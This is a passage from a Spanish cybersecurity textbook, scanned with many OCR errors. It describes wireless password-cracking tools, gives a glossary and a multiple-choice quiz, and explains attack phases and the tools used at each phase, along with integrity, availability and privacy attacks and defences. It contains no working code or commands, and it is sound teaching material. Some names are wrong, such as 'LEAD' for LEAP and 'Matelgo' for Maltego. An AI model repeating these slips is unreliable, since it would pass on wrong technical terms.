descifrar contrasefias de redes que utilizan los protocolos de seguridad WEP y WPA/WPA2-
PSK. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas son:

. Es compatible con diversas antenas inalambricas.

o Me permite poder hacer ataques de la red inalambrica.
. Permite el descubrimiento de claves inalambricas.

. Puede realizar monitoreo de redes inaldmbricas.

Asleap: Permite capturar y descifrar contrasefias que estan en el protocolo LEAD y también me
permite poder leer y capturar el trafico de diferentes tarjetas de red inalambrica en el modo de
monitor. También puede obtener las contraseias en el modo PPTP y poder descifrarme el trafico

de una VPN. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas son:

o La presentacion de resultados se puede ver en lineas de comandos.
o No esta permitido la inyeccion de paquetes.
o Captura y descifra contrasefias del protocolo LEAD.
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Glosario de términos

o Vulnerabilidad: Debilidad existente en un sistema que puede ser utilizado por una

persona malintencionada para comprometer su seguridad.

o Amenaza: Advertencia de que puede ser inminente el dafio o algun activo de la
informacion, o bien es un indicador de que el dafio se esta produciendo o ya se ha producido.

o Scripts: Lenguaje de programacion que se utiliza para manipular, personalizar y

automatizar las instalaciones de un sistema existente.

o Inyeccidn Sql: Es un ataque contra un sitio web en el que se inserta un cédigo SQL para
acceder a la base de datos.

o Escaneo: Proceso automatizado disefio especialmente para identificar vulnerabilidades

explotables dentro de una aplicacion.

o Http: Protocolo que se encuentra en la capa de aplicacién para la transmisiéon de

documentos hipermedia como lo es el HTML.

o Https: Es la version mas segura de HTTP, el navegador o el servidor establece una

conexion mas segura y cifrada antes de transferir datos.

o SpiderMonkey: Libreria de implementacion e intérprete de javascript que se encarga de

establecer elementos en el navegador de mozilla firefox.
o JavasCriptExecution: Es un entorno que me permite poder ejecutar en codigo javascript.

o Rootkints: Tipo de software malicioso que esta disefiado para darle a un hacker la

capacidad de poder introducirse en un dispositivo y poder tener su control.

o Software: Programas informaticos que hacen posible la ejecucion de tareas especificas

de un ordenador.

o CVSS: Es un proceso de evaluacion que otorga resultado confiable y objetivo para

conocer con exactitud en qué nivel de vulnerabilidad se encuentra un sistema informatico.

o Programa maligno: Cualquier software o aplicacion maévil que esta disefiado para poder

perjudicar a los usuarios o dafiar ordenadores.
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o Recopilacion de datos: Reunir y medir informacion de diversos tipos de fuentes con el

fin de poder tener un panorama completo y preciso.

o Red: Dispositivos de computacion que estan interconectados y pueden intercambiar
datos y compartir recursos entre ellos.

o Navegador web: Aplicacion de software que permite acceder a la www.

o Denegacidn de servicios: Ataque que trata de hacer que un sistema informatico no pueda

estar disponible para los usuarios, inundando una red o un servidor con solicitudes y datos.

° Auditoria: Proceso en el cual se hace un analisis de toda la infraestructura de los recursos

de IT en una organizacion.

o Cddigo malicioso: Programas que tiene como objetivo poder acceder a un sistema sin

que se pueda detectar su presencia.
o Callback: Representan el uso de funciones como parametros de otras funciones.

o Nube: Red enorme de servidores remotos de todo el mundo que estdn conectados para

funcionar como un Unico ecosistema.

o Robo de informacion: Transferencia o almacenamiento de forma ilegal de datos

personales, confidencial o financiera.

o LEAD: Protocolo de autenticacion ampliable desarrollado por cisco.
o PPTP: Punto a protocolo de tanel de punto.
o Exploits: Secuencia de comandos que aprovecha una vulnerabilidad de un sistema para

provocar un comportamiento imprevisto.

o VPN: Crea una conexion de red privada entre dispositivos a través de internet.
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Evaluacién de conocimientos

1. ¢ QUué es una amenaza?

a) Son puntos débiles o fallos en una aplicacién o sistemas atacados por los ciber atacantes

para atacar la seguridad.

b) Ataques pueden ser causados por los errores que estan en el disefio, la programacion,
configuracién del sistema y estos son atacados para la denegacion de servicios, ejecucion
remota del codigo y robo de informacion.

c) La posibilidad de que un sistema vulnerable sea atacado y sufra dafios.

d) Esta aparece cuando en nuestra red, dispositivos o sistemas existen una seria de

deficiencias que provocan que exista una posibilidad de ataque.
2. ¢ Qué es una vulnerabilidad?

a) Actividad que se aprovecha de la debilidad de los sistemas informaticos para atacarlos

0 poder invadirlos.

b) Pueden resultar en la perdida de datos, interrupcion de los servicios, exponer

informacion confidencial y de mas riesgo importantes para la seguridad de la informacion.

c) Tienen un gran impacto en la confidencialidad, integridad y disponibilidad de los

sistemas informaticos y de las Tics.

d) Son puntos débiles o fallos en una aplicacion o sistemas que son atacados por los ciber
atacantes con el fin de atacar la seguridad.

3. ¢ Cuales de las siguientes afirmaciones describe mejor a un ataque por inyeccion
de SQL?
a) Es un ataque de denegacion de servicios.

b) Es un ataque para poder obtener acceso no autorizado a un base de datos.
C) Es un ataque utilizado para poder modificar el codigo de una aplicacion.

d) Un ataque Man-in-the-Middle entre su servidor SQL vy el servidor de aplicaciones web.
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4. ¢ Selecciones tres tipos de herramientas para la deteccidon de vulnerabilidades?
a) Nmap

b) Matelgo

c) Black-box

d) White-box

e) Phishing
f) Nessus
5. ¢ Qué tipo de analisis puede detectar un analisis de vulnerabilidades?

a) Vulnerabilidades de red

b) Vulnerabilidades del sistema operativo
c) Vulnerabilidades de aplicaciones web
d) Todas las anteriores

6. ¢ Qué es OWASP?

a) Cifrado de datos

b) Protocolo de red segura
c) Organizacién que proporciona guias y herramientas para la seguridad de aplicaciones
web

d) Tipo de malvare
7. ¢ Cross Site Scripting se aprovechan o utilizan?

a) Las deficiencias de la seguridad web para permitir a los atacantes ejecutar scripts en
forma de inyeccion de scripts

b) Cuando el usuario recibe un correo electrénico falso que puede contener una direccion
de URL
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C) De insertar datos de un tamafio muy superior al que es necesario a la aplicacion, lo que

provoca en la memoria una sobreescritura de espacios adyacentes

d) Insertar un c6digo SQL con la Unica intencion de obtener contrasefias 0 nombres de los
usuarios a través del servidor de la base de datos

8. ¢Cual no es un tipo de vulnerabilidad?

a) Black-Bok

b) Inyeccion de SQL

C) Overflow

d) Ataque al usuario

9. ¢De qué se encarga el equipo de auditoria en la prueba Black-Box?

a) De toda la informacion requerida para poder evaluar la seguridad del sistema

informatico en su estudio

b) Identificar y poder explorar los posibles agujeros de seguridad en el sistema con el

mismo recurso que podria estan usando el atacante externo

C) Analiza todos los aspectos del codigo fuente como la sintaxis, semantica y la estructura
del programa.

d) Configuracién de elemento de red, codigo fuente de la aplicacién, medidas de seguridad

implementadas, manuales de usuarios y archivos de configuracion de servidores y aplicaciones

10.  ¢Qué herramienta se utiliza para la deteccidén de vulnerabilidades la captura de

contrasefias?

a) Tcpdump
b) Nessus

C) Netcat

d) Kismet

47 |Pagina



11.  ¢Cudl es el propésito de insertar un codigo SQL?

a) Recopila datos en tiempo real para proporcionar una vision continua de la red cambiante

de una organizacion.

b) Poder evaluar vulnerabilidades, como resultado, podemos examinar computadoras,

servidores locales y remotos y producir una variedad de informes sobre las fallas identificadas.

C) Trata sobre insertar un codigo SQL con la Unica intencién de obtener contrasefias o

nombres de los usuarios a través del servidor de la base de datos
12.  ¢Cuél es una técnica para la deteccion de vulnerabilidades?
a) White-Box

b) Matelgo

c) OpenVas

d) Inyeccion SQL

13.  ¢En que se basa el andlisis de dinamico de cddigo?

a) Analisis de informacion

b) Comportamiento de los Scripts

c) Insercién de codigo malicioso

d) Seguridad

14.  ;Qué herramienta se utiliza para la deteccién de vulnerabilidades en trafico de

red?

e) Nmap

f) Nessus

9) Wireshark

h) Kismet
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15.  ¢Seleccione dos caracteristicas de la aplicacion Nmap?

a) Identificacion de puerto abiertos
b) No esta permitido la inyeccion de paquetes
c) Captura y descifra contrasefias del protocolo LEAD

d) Detecta servicios o aplicacion que se esté ejecutando dentro de una aplicacion
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CAPITULO 3 CIBERATAQUES

INTRODUCCION

En la era digital actual, la informacion se ha convertido en un activo invaluable para individuos,
organizaciones y gobiernos. Sin embargo, esta misma riqueza atrae a actores maliciosos que
buscan explotarla a través de ciberataques. Estos ataques pueden tener consecuencias
devastadoras, desde el robo de datos confidenciales hasta la interrupcion de servicios criticos.
Los ciberataques se han convertido en una de las mayores amenazas para la seguridad de
individuos, organizaciones y gobiernos. La transformacion digital ha traido consigo

innumerables beneficios, pero también ha expuesto vulnerabilidades criticas.

El impacto de los ciberataques es amplio y profundo. Para los individuos, puede significar la
pérdida de datos personales, el robo de identidad y el fraude financiero. Para las empresas, los
ciberataques pueden resultar en pérdidas econdmicas, dafios a la reputacién e interrupciones
operativas. Los gobiernos no estan exentos de estos riesgos, enfrentando amenazas que pueden
comprometer la seguridad nacional y la estabilidad politica. Ademas, las infraestructuras
criticas, como la energia y los servicios de salud, son objetivos frecuentes que pueden tener
consecuencias catastroficas. La motivacion detras de los ciberataques varia ampliamente.
Algunos atacantes buscan beneficios econémicos, como es el caso con el ransomware y el
fraude. Otros pueden estar motivados por objetivos politicos o ideoldgicos, utilizando el
ciberespacio como un campo de batalla para el espionaje o el sabotaje. Ademas, la creciente
interconexion global significa que los ciberataques pueden ser perpetrados desde cualquier

lugar del mundo, haciendo que la defensa contra ellos sea un esfuerzo global.

En respuesta a esta creciente amenaza, la ciberseguridad se ha convertido en una prioridad para
organizaciones de todos los tamafios. La implementacidon de medidas de seguridad avanzadas,
la educacidn, concienciacion de los usuarios, y la colaboracion internacional son esenciales para
mitigar los riesgos asociados con los ciberataques. A medida que la tecnologia continda
evolucionando, también lo haran las tacticas de los atacantes, lo que subraya la importancia de

una defensa cibernética proactiva y adaptable.
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3.1. Diferencia entre evento, ataque e incidente

La ciberseguridad se ha convertido en una preocupacion primordial para individuos,
organizaciones y gobiernos. Los ciberataques, definidos como acciones maliciosas y
deliberadas que buscan comprometer la seguridad de sistemas y datos, son cada vez mas
sofisticados y frecuentes. Para entender mejor la naturaleza de las amenazas cibernéticas, es
crucial diferenciar entre los conceptos de evento, ataque e incidente, ya que cada uno representa

un nivel distinto de riesgo y requiere respuestas especificas.

3.1.1 Evento

Un suceso identificable que tiene lugar en un sistema, red o infraestructura. Los eventos pueden
ser acciones normales, como un usuario accediendo a un sistema, como intentos fallidos de
acceso. Los eventos de ciberseguridad pueden ser tan simples como un usuario que inicia sesion
en un sistema, un archivo que se mueve de un lugar a otro o un cambio en la configuracién de
la red. Estos eventos pueden ser rutinarios, como la autenticacion de usuarios, 0 anomalos,
como intentos de acceso fallidos. No todos los eventos son maliciosos, algunos forman parte
de las operaciones normales del sistema. La deteccion y registro de eventos es esencial para

monitorear el comportamiento del sistema e identificar posibles amenazas.

3.1.2. Ataque

Una accion intencional y maliciosa realizada por un atacante con el proposito de causar dafio,
obtener acceso no autorizado o interrumpir las operaciones normales de un sistema o red. El
objetivo es dafiar, alterar o destruir organizaciones o personas. Los ataques pueden variar en su
complejidad y objetivo, desde el uso de malware para robar informacidn sensible hasta ataques
de denegacion de servicio (DDoS) que buscan inutilizar servicios criticos. Los ataques son, por

naturaleza, actos hostiles que buscan explotar vulnerabilidades en los sistemas de seguridad.

3.1.3. Incidente

Un evento o una serie de eventos que comprometen la confidencialidad, integridad o
disponibilidad de la informacion. Los incidentes pueden ser el resultado de ataques exitosos,
pero también pueden originarse de fallos no intencionados en los sistemas, errores humanos o
desastres naturales. A diferencia de un evento, un incidente siempre implica algiin grado de
impacto negativo en la seguridad de la informacion o en la operacion de los sistemas. Los
incidentes pueden tener una connotacion negativa, si nos fijamos en la definicion que ofrecen

las diferentes normas ISO.
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La gestion de incidentes es un componente critico de la ciberseguridad, ya que involucra la
identificacion, contencion y mitigacion de los efectos adversos. Los ciberataques pueden tener
diversos objetivos, que a menudo dependen de la motivacion del atacante. El malware y la
suplantacion de identidad (phishing) son dos ejemplos de ciberataques utilizados para obtener

control de los datos confidenciales en los dispositivos electronicos personales y empresariales.
Algunos de los fines mas comunes incluyen:

° Robo de informacion: Obtener datos sensibles como informacion financiera,

contrasenas, propiedad intelectual o datos personales.

. Interrupcion de servicios: Hacer que los servicios sean inaccesibles para los usuarios

legitimos, como en los ataques DDoS.

o Extorsion: Utilizar ransomware para bloquear el acceso a sistemas o datos y exigir un

rescate a cambio de restaurar el acceso.

o Espionaje: Obtener informacion confidencial de gobiernos, corporaciones o individuos

para fines politicos, econdmicos o estratégicos.

o Manipulacion de datos: Alterar o destruir datos para causar confusion, desinformacion

o dafio a la reputacion.

o Sabotaje: Comprometer infraestructuras criticas para causar dafios fisicos o

econdémicos.
Los ciberataques pueden perjudicar a una amplia gama de victimas, incluyendo:

. Individuos: Pueden sufrir el robo de identidad, pérdida de datos personales, fraude

financiero y violaciones de la privacidad.

o Empresas: Las organizaciones pueden enfrentar pérdidas financieras, dafios a la

reputacion, interrupciones operativas, y pérdida de propiedad intelectual.

. Gobiernos: Los ataques pueden comprometer la seguridad nacional, espionaje,

manipulacion de elecciones y pérdida de informacion confidencial.
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o Infraestructuras criticas: Sectores como energia, transporte, salud y servicios publicos
pueden verse gravemente afectados, lo que puede tener consecuencias devastadoras para la

sociedad en general.

o Sociedad en general: Los ciberataques pueden provocar la desestabilizacién econdmica,

social y politica, afectando la confianza en las instituciones y la seguridad de los ciudadanos.

Anatomia de un ataque informatico.: Un ataque informatico es una serie de acciones deliberadas
llevadas a cabo por actores maliciosos para comprometer la seguridad, integridad o
disponibilidad de sistemas informaticos, redes y datos. Entender la anatomia de un ataque

informatico es esencial para poder defenderse eficazmente contra estas amenazas.

A continuacion, se describe el proceso tipico de un ataque informatico, dividido en varias fases

clave.

Reconocimiento (Reconnaissance): En esta fase inicial, el atacante recopila informacion sobre
el objetivo. Esto puede incluir la identificacion de direcciones IP, mapeo de redes, escaneo de
puertos y busqueda de vulnerabilidades. Por lo general, durante esta fase se recurre a diferentes
recursos de Internet como Google, entre tantos otros, para recolectar datos del objetivo. Algunas
de las técnicas utilizadas en este primer paso son la Ingenieria Social, el Dumpster Diving, el

Sniffing (Guafia Moya, et al. 2022).
Herramientas comunes: Nmap, Wireshark, Maltego.

Escaneo (Scanning): Después del reconocimiento inicial, el atacante realiza un escaneo mas
profundo para identificar debilidades especificas en el sistema objetivo. El reconocimiento
escanea activamente la red para determinar hosts activos y disponibles, puertos abiertos,
ubicaciones de enrutadores e informacion sobre el sistema operativo y los servicios del objetivo.
El ultimo paso es recopilar informacion sobre el ataque. Su éxito depende del conocimiento y

uso de las técnicas de escaneo.
Herramientas comunes: Nessus, OpenVAS, QualysGuard.

Acceso inicial (Gaining access): En esta fase, el atacante explota las vulnerabilidades
descubiertas para obtener acceso no autorizado al sistema objetivo. Esto puede implicar el uso

de exploits, el aprovechamiento de contrasefias débiles o la ejecucion de codigo malicioso. El
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acceso inicial puede proporcionar privilegios limitados o completos, dependiendo de la
naturaleza de la vulnerabilidad explotada.

Métodos comunes: Phishing, explotacion de vulnerabilidades, fuerza bruta.

Mantenimiento del acceso (Maintaining access): Para asegurar el acceso continuado al sistema
comprometido, el atacante instala backdoors, rootkits o otros tipos de malware que permiten el
acceso remoto. Esto asegura que el atacante pueda volver a ingresar al sistema incluso si las

credenciales iniciales se cambian o se eliminan las sesiones activas.
Herramientas comunes: Metasploit, Cobalt Strike, Netcat.

Exfiltracion y exploracion (Exfiltration and exploration): En esta fase, el atacante explora el
sistema comprometido para identificar y extraer datos valiosos. Esto puede incluir la copia de
informacion confidencial, como documentos financieros, propiedad intelectual, o datos
personales. La exfiltracion de datos a menudo se realiza de manera discreta para evitar la

deteccion.
Métodos comunes: FTP, HTTP, HTTPS, correo electronico.

Eliminacion de huellas (Covering tracks): Para evitar la deteccion y el analisis forense, el
atacante borra registros, elimina archivos de log y utiliza técnicas de ocultamiento. Esto puede
implicar la manipulacion de TimeStamps, la eliminacion de malware o la modificacion de

registros de auditoria para borrar cualquier rastro de actividad maliciosa.
Técnicas comunes: Limpiar logs, cambiar timestamps, rootkits.

Impacto Final (Final impact): El impacto final de un ataque informaético puede variar
dependiendo del objetivo del atacante. Puede incluir la interrupcion de servicios, la corrupcion
o eliminacion de datos, el cifrado de archivos para exigir un rescate (ransomware), o
simplemente el robo de informacidn confidencial. El impacto puede ser inmediato o diferido,

dependiendo de la estrategia del atacante.
Ejemplos comunes: Ransomware, sabotaje, espionaje.

En la siguiente tabla se analiza el nivel de amenaza que tiene cada cliente cuando uno de sus

dispositivos se ve afectado por un ciberataque o malware, en esta etapa describimos los cuatro
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niveles al que el cliente se encuentra expuesto al ser victimas de la delincuencia cibernética:
Muy alto, Alto, Medio y Bajo. (LEMA & BEDON, 2022)

Tabla 3.1 Nivel de amenaza

Usuario Nivel de Descripcion de la amenaza
amenaza
Persona comun  Bajo Ciberataque que causara algiin dafio personal y que no tendra

mayor impacto en la sociedad y seguridad nacional.

Empresa Medio Ciberataque que puede causar perdida de informacién a la

propiedad corporativa donde se evidenciara pérdidas

econdmicas, sin embargo, no tendra ningin impacto en la

sociedad y seguridad.

Infraestructura  Alto Ciberataque que afecta el funcionamiento de la sociedad y que

generara grandes pérdidas econémicas y apenas perjudicara a

la seguridad nacional.

Gobierno Muy Alto Ciberataque que provocara pérdidas significativas y efectos

perjudiciales para la seguridad nacional.

3.2 Tipos de ataques

Los ciberataques pueden clasificarse segln el objetivo que buscan comprometer: integridad,

disponibilidad o privacidad de la informacion.
3.2.1. Ataques contra la integridad

Los ataques contra la integridad buscan alterar o manipular datos o sistemas para comprometer
su precision y confiabilidad. Estos ataques pueden tener consecuencias devastadoras,
especialmente en sectores como la banca y la salud, donde la integridad de los datos es crucial.
Indistintamente del tipo de ciberataque que ha infectado el sistema informatico, esto
puede provocar afectaciones en el rendimiento de los computadores, alteracion o
eliminacion de los ficheros, que las aplicaciones se cierren 0 se ejecuten sin
consentimiento del usuario, reciban correos que no fueron enviados por el usuario

(suplantacion de identidad), decodifiquen las contrasefias de las redes inalambricas,
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denegacién de servicio (DoS) y denegacion de servicio distribuido (DDoS), incluso hasta

ataques combinados.

La perspectiva de integridad de la informacion es una apreciacion que es adaptable al interés
de los profesionales del area de las nuevas TIC’s. Para el responsable de la seguridad en
determinada organizacion, la “integridad de los datos” puede definirse como la imposibilidad

de que cualquier persona modifique informacidn sin ser descubierto.

A continuacion, se describen algunos de los tipos mas comunes de ataques contra la integridad,

junto con sus caracteristicas.

Tabla 3.2 Ejemplos de ataques contra la integridad

Ataque de integridad Caracteristicas

La inyeccion SQL es una técnica que permite a los
atacantes insertar o "inyectar" codigo SQL malicioso en
una consulta a una base de datos a través de una entrada
de usuario vulnerable. La proteccion de los sistemas de
bases de datos es fundamental, ya que almacenan
informacidn sensible y valiosa para las organizaciones y
los usuarios.

Inyeccion SQL (SQL Injection)

La manipulacion de archivos implica la modificacion no

autorizada de archivos importantes en un sistema, con el

fin de alterar su contenido. Al limitar la lista de tipos de

archivo permitidos, puedes evitar que se carguen

Manipulacién de archivos (File

Manipulation) gjecutables, scripts y otros contenidos potencialmente

maliciosos en tu aplicacion.

La alteracion de log se refiere a la modificacion o
eliminacion de registros de auditoria y logs del sistema

para ocultar la actividad maliciosa. La manipulacion del
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Alteracion de Log (Log valor de algin parametro que se intercambia entre cliente

Tampering) y servidor con fines malintencionados

En este tipo de ataque, los atacantes modifican el codigo
fuente o los registros de un sistema de control de versiones
como Git. Esto puede tener consecuencias graves, como la
Ataques a Sistemas de Control introduccion de vulnerabilidades en el software o la

de Versiones (Version Control implementacion de funcionalidades no autorizadas.

System Attacks)
Aunque tipicamente en el que los perpetradores bloquean
sistemas y bases de datos y exigen dinero para
desbloquearlos, el ransomware también puede afectar la
Ransormware integridad. Algunos tipos de ransomware no solo cifran

los archivos, sino que también pueden alterar su contenido
para hacerlos irreconocibles o indtiles incluso después del

pago del rescate.

Desde la perspectiva econdmica, los distintos mercados
gue se encuentran vinculados a través de Internet —
productores de software, proveedores de servicios, redes
Ciberseguridad economica sociales, usuarios, es decir, la demanda, entre otros—,
muestran caracteristicas muy diversas que requieren un
tratamiento especifico que no se observa en la mayor parte
de los sectores econémicos y su funcionamiento, tal y

como se concebian tradicionalmente.

Por supuesto, todo lo que sucede en el ciberespacio no s6lo amenaza la informacion y la
reputacion de la persona cuyas fotos personales son robadas o cuyo correo electrénico es
pirateado, sino que también amenaza la infraestructura de las organizaciones gubernamentales.
Los ataques contra la integridad representan una amenaza significativa para la exactitud y
fiabilidad de los sistemas y datos. Proteger la integridad requiere una combinacion de medidas

de seguridad técnicas, buenas practicas de gestion y concienciacién del usuario. Al entender y
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mitigar los riesgos asociados con los ataques contra la integridad, las organizaciones pueden

mantener la confianza en sus sistemas y asegurar la continuidad de sus operaciones.
3.2.2 Ataques contra la disponibilidad

Los ataques contra la disponibilidad son intentos deliberados de interrumpir o degradar el
funcionamiento normal de sistemas, redes y servicios, haciendo que sean inaccesibles para los
usuarios legitimos. Estos ataques pueden tener graves consecuencias, especialmente para
organizaciones que dependen de la disponibilidad continua de sus servicios. A continuacion, se

describen algunos de los tipos mas comunes de ataques contra la disponibilidad.

Ataques de denegacion de servicio (DoS) Los ataques de denegacion de servicio pretenden que
un servicio, servidor o red sea inaccesible para sus usuarios legitimos. Un ataque de denegacién
de servicio (DoS) es un ciberataque en el que los ciberdelincuentes interrumpen el
funcionamiento de un servidor conectado a internet destinado a los usuarios previstos. Esto se
hace enviando un flujo continuo de trafico, como solicitudes falsas, a la red o servidor de
destino, sobrecargando el sistema e impidiendo que procese el trafico legal. (ZScaler, 2024)

Hay cuatro tipos principales de ataques DoS que tienen como objetivo explotar o extorsionar

sistemas y datos:

. Redireccion del navegador: Un usuario solicita que se cargue una pagina, pero un pirata

informatico redirige al usuario a otra pagina maliciosa.

. Cierre de conexion: Un ciberdelincuente cierra un puerto abierto, negando al usuario el

acceso a una base de datos.

o Destruccion de datos: Un pirata informatico elimina archivos, lo que genera un error de
"recurso no encontrado" cuando alguien solicita ese archivo o, si una aplicacidén contiene una
vulnerabilidad que la deja abierta a ataques de inyeccion, el malhechor puede denegar el

servicio eliminando la tabla de la base de datos.

o Agotamiento de recursos: Un delincuente solicitara repetidamente acceso a un recurso
en particular, sobrecargando la aplicacion web, provocando que se ralentice o bloquee al

recargar repetidamente la pagina.
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Ataques distribuidos de denegacion de servicio (DDoS) Los ataques DDoS son una forma mas
avanzada de DoS, donde multiples sistemas comprometidos, a menudo parte de una botnet, se
utilizan para inundar el objetivo con trafico. Los atacantes utilizan malware para crear una red
de bots: dispositivos conectados a Internet que estan infectados con malware y que los atacantes
pueden dirigir para enviar una gran cantidad de tréfico a los objetivos. Esto hace que sea mas
dificil defenderse, ya que el ataque proviene de multiples fuentes dispersas geograficamente.

Los ataques DDoS se pueden lanzar por diferentes motivos.

. Hacktivismo: Los atacantes pueden dirigir un ataque DDoS contra empresas o sitios

web con los que tienen desacuerdos filosoficos o ideologicos.

. Guerra cibernética: Los gobiernos pueden utilizar ciberamenazas como los ataques

DDoS para perjudicar la infraestructura critica de un estado enemigo.

o Extorsion: Los atacantes suelen utilizar amenazas DDoS para extorsionar a las empresas

a cambio de dinero.

o Entretenimiento: Muchos ataques son lanzados por hackers que simplemente quieren

entretenerse causando estragos o experimentando con la ciberdelincuencia.

. Competencia empresarial: Una empresa puede lanzar un ataque DDoS a otra para

obtener una ventaja competitiva.

Los cuatro tipos clave de ataques son:

. Ataques a la capa de aplicacion

. Ataques de protocolo

. Ataques por amplificacion/reflexion de DNS
o Ataques volumétricos

Las organizaciones pueden protegerse y limitar las interrupciones causadas por los ataques
DDoS con una solida estrategia anti-DDoS, excelentes servicios de mitigacion de DDoS y
controles avanzados de ciberseguridad de primera clase. Las soluciones basadas en la nube

brindan una proteccion DDoS poderosa, efectiva y duradera que puede evitar que el trafico
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malicioso ingrese a un sitio web o interrumpa las comunicaciones APl web, lo que limita los
ataques y al mismo tiempo permite que fluya el trafico normal Ilegar a su destino de la forma
habitual.

Ataques de reflejo: En los ataques de reflejo, el atacante envia solicitudes a servidores
intermediarios que luego envian respuestas a la victima. Al igual que los ataques de
amplificacion, estos pueden aumentar la cantidad de trafico dirigido a la victima, causando una
interrupcién del servicio. Los servidores mal configurados envian respuestas al objetivo,
abrumando la capacidad del objetivo para responder y provocando que el servicio falle. Para
protegerse contra ataques de reflexion, las empresas y organizaciones pueden implementar
medidas de seguridad, como limitar la cantidad de mensajes enviados por servidores mal
configurados y configurar las maquinas alojadas adecuadamente para evitar la participacion no
deseada en un ataque de reflexion. Los ISP también pueden utilizar sistemas de prevencion y

deteccion de DDoS para identificar y bloquear el trafico malicioso.

Impacto de los ataques contra la disponibilidad: Los ataques contra la disponibilidad pueden

tener consecuencias devastadoras para las organizaciones y sus usuarios.
Algunos de los impactos més significativos incluyen:

. Pérdida de ingresos: Para las empresas que dependen de servicios en linea, la
indisponibilidad puede resultar en una pérdida directa de ingresos, especialmente durante

periodos criticos de venta.

. Dafio a la reputacion: Las interrupciones del servicio pueden danar la confianza de los

clientes y socios, afectando negativamente la reputacion de la organizacion.

. Costos de mitigacion: La defensa contra ataques de denegacion de servicio y la
restauracion de servicios pueden implicar costos significativos en términos de tiempo, dinero y

recursos.

o Interrupcion operativa: Los ataques que afectan sistemas criticos pueden interrumpir las

operaciones comerciales normales, causando retrasos y problemas en la productividad.

Estas violaciones de la ciberseguridad pueden dafiar la reputacion de la marca de una empresa
y tener consecuencias a largo plazo, incluida la reduccion de la confianza, el crecimiento y la

rentabilidad de los usuarios. Construir y mantener una reputacion de marca solida es vital para
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el éxito de cualquier negocio, y una violaciéon de la ciberseguridad puede afectar

significativamente esa reputacion.

Medidas de defensa: Para protegerse contra ataques que comprometen la disponibilidad, las

organizaciones pueden implementar una serie de medidas de seguridad, tales como:

o Sistemas de mitigacion de DDoS: Utilizar servicios especializados que detecten y

mitiguen el trafico DDoS antes de que alcance los sistemas criticos.

o Firewalls y sistemas de deteccion de intrusiones (IDS) Configurar firewalls y IDS para

filtrar y bloquear trafico malicioso y patrones de ataque conocidos.

o Redundancia y balanceo de carga: Implementar soluciones de redundancia y balanceo

de carga para distribuir el trafico y evitar la sobrecarga de recursos.

o Capacidad de escalado: Disenar infraestructuras que puedan escalar dindmicamente en

respuesta a aumentos repentinos en el trafico, asegurando la disponibilidad continua.

o Plan de respuesta a incidentes: Desarrollar y probar regularmente un plan de respuesta

a incidentes para gestionar y mitigar rapidamente los efectos de un ataque.

Los ataques contra la disponibilidad representan una amenaza significativa para la continuidad
operativa de las organizaciones. El software empresarial y la ciberseguridad van de la mano,
las empresas deben priorizar la ciberseguridad para proteger su software y sus datos de las
ciberamenazas. Al implementar estrictas medidas de seguridad y capacitacion en
ciberseguridad, las empresas pueden reducir el riesgo de ataques cibernéticos y proteger su

software y datos contra dafios o robos.
3.2.3. Ataques contra la privacidad

Los ataques contra la privacidad tienen como objetivo acceder, exponer o robar informacion
personal y confidencial sin el consentimiento del propietario. Estos ataques pueden tener
consecuencias graves, tanto para individuos como para organizaciones, incluyendo el robo de

identidad, fraude financiero y dafio a la reputacion.

A continuacion, se describen algunos de los tipos mas comunes de ataques contra la privacidad.
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Phishing: El phishing es un método de ingenieria social utilizado por los atacantes para engafiar
a las victimas y hacer que revelen informacion personal o confidencial, como contrasefias,
numeros de tarjetas de crédito o datos de cuentas bancarias. Esto se logra a través de correos
electronicos, mensajes de texto o sitios web falsos que imitan fuentes confiables. Disefiados
para convencer a una victima de proporcionar informacion personal, generalmente realizado
para obtener una ganancia monetaria por parte del atacante. La mayoria de los ataques de
Phishing son influenciados cuando se envia un correo electronico falso, que contiene un enlace
(Uniform Resource Locator, URL). Esta URL conduce a un sitio web falso, cuando se hace clic
en él. A pesar de la importante atencion que se le ha otorgado a lo largo de los afios, ain no

existe una solucion definitiva, para resolver este tipo de ataque.

Malware de robo de informacion (Info-stealers) Este tipo de malware se instala en el dispositivo
de la victima y se utiliza para recopilar informacién sensible, como credenciales de inicio de
sesion, datos de navegacion, informacién financiera y archivos personales. Los InfoStealers
utilizan el robo de informacidén para atacar empresas en muchos sectores de la economia. Por
eso es imperativo que las empresas, independientemente del sector, tengan en cuenta esta
amenaza. No es sélo el sector de las telecomunicaciones el objetivo de los delincuentes que
desarrollan o contratan ladrones de datos. También se han producido incidentes en industrias

tan diversas como la industria petrolera y la industria del turismo.

Keylogging: Implica el uso de software o hardware para registrar cada pulsacion de tecla hecha
por la victima en su dispositivo. Esta técnica permite a los atacantes obtener contrasefias,
mensajes de correo electrdnico, y otra informacion sensible que la victima introduce mediante

el teclado.

Informacion que se pueden obtener mediante los keyloggers:

. Contrasenas

o Datos personales

. Datos bancarios

. Correos electronicos

. Mensajes enviados por los servicios de mensajeria del navegador
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o Historiales de busqueda y chats
. Capturas de pantalla

Keyloggers existentes

o Programas maliciosos: Infectan a las computadoras o celulares y registran todas las

acciones que se realizan, guardan las contrasefas y todo lo que se escribe.

o Keyloggers inalambricos: Envian en forma inaldmbrica los datos obtenidos al
ciberdelincuente.
o Keyloggers asociados a software espia: Hacen capturas de pantalla del escritorio y

evaden medidas de seguridad como los teclados virtuales.

Ataques a la red wi-fi: Los atacantes pueden interceptar comunicaciones no cifradas en redes
wi-fi publicas o mal configuradas, accediendo a datos personales transmitidos a través de estas
redes, como correos electronicos, credenciales de inicio de sesion y transacciones financieras.
Un estudio realizado en 2016 sobre 31 millones de puntos de acceso wifi revelé que mas de
uno de cada cuatro (28%) suponia un riesgo para los datos transmitidos porque no estaban
protegidos por ningun tipo de cifrado o contrasefia. Muchos ataques wi-fi tienen como objetivo
redes inalambricas que tienen poca seguridad y, por lo tanto, son vulnerables. Para algunos

piratas informaticos, estas redes son simplemente un punto de acceso conveniente.

Ataques de suplantacion de identidad (Identity Theft) EI robo de identidad implica el uso de
informacién personal robada para hacerse pasar por la victima y realizar transacciones
fraudulentas, como abrir cuentas bancarias, solicitar préstamos o realizar compras en linea. Para
Ilevar a cabo un ataque, un atacante puede enviar un enlace a un sitio web que luego lo engafa
para que descargue malware, como un virus, o | proporcione al atacante su informacién
personal. En muchos casos, es posible que el objetivo no se dé cuenta de que ha sido
comprometido, lo que permite al atacante buscar a otros empleados dentro de la misma

organizacion sin que nadie sepa acerca de la actividad maliciosa.

